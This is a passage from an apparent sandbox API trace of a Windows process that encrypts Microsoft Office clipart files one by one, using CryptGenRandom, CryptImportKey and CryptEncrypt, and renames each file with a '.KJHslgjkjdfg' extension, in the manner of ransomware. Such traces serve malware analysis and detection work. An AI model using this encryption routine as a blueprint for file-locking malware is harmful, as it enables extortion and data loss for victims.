pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.860] GetProcessHeap () returned 0x990000 [0199.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.860] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.861] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.861] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.861] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.861] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.861] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x926, lpOverlapped=0x0) returned 1 [0199.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930, dwBufLen=0x930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930) returned 1 [0199.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.861] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x930, lpOverlapped=0x0) returned 1 [0199.861] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.861] SetEndOfFile (hFile=0x130) returned 1 [0199.862] GetProcessHeap () returned 0x990000 [0199.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.863] GetProcessHeap () returned 0x990000 [0199.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.kjhslgjkjdfg")) returned 1 [0199.864] CloseHandle (hObject=0x130) returned 1 [0199.864] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0199.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.873] GetProcessHeap () returned 0x990000 [0199.873] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.873] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.874] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.943] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.943] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.943] GetProcessHeap () returned 0x990000 [0199.943] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.943] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.943] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.943] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.943] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.943] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.943] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.944] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.944] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.944] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.944] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xab2, lpOverlapped=0x0) returned 1 [0199.944] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xac0, dwBufLen=0xac0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xac0) returned 1 [0199.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.944] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xac0, lpOverlapped=0x0) returned 1 [0199.944] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.944] SetEndOfFile (hFile=0x130) returned 1 [0199.947] GetProcessHeap () returned 0x990000 [0199.947] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.947] GetProcessHeap () returned 0x990000 [0199.947] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.kjhslgjkjdfg")) returned 1 [0199.949] CloseHandle (hObject=0x130) returned 1 [0199.949] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0199.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.950] GetProcessHeap () returned 0x990000 [0199.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.950] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.950] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0200.171] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.171] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.171] GetProcessHeap () returned 0x990000 [0200.171] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.171] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.171] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.172] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.172] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.172] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.172] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.172] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x82a, lpOverlapped=0x0) returned 1 [0200.172] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830, dwBufLen=0x830 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830) returned 1 [0200.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.173] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x830, lpOverlapped=0x0) returned 1 [0200.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.175] SetEndOfFile (hFile=0x130) returned 1 [0200.178] GetProcessHeap () returned 0x990000 [0200.178] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.178] GetProcessHeap () returned 0x990000 [0200.178] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.kjhslgjkjdfg")) returned 1 [0200.179] CloseHandle (hObject=0x130) returned 1 [0200.179] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0200.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.185] GetProcessHeap () returned 0x990000 [0200.185] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.185] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.288] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.288] GetProcessHeap () returned 0x990000 [0200.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.288] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.288] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.288] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.289] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcbe, lpOverlapped=0x0) returned 1 [0200.289] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0) returned 1 [0200.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.289] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcc0, lpOverlapped=0x0) returned 1 [0200.289] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.289] SetEndOfFile (hFile=0x130) returned 1 [0200.291] GetProcessHeap () returned 0x990000 [0200.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.292] GetProcessHeap () returned 0x990000 [0200.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.kjhslgjkjdfg")) returned 1 [0200.293] CloseHandle (hObject=0x130) returned 1 [0200.293] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0200.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.294] GetProcessHeap () returned 0x990000 [0200.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.294] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.294] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0200.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.300] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.300] GetProcessHeap () returned 0x990000 [0200.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.300] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.300] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.301] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 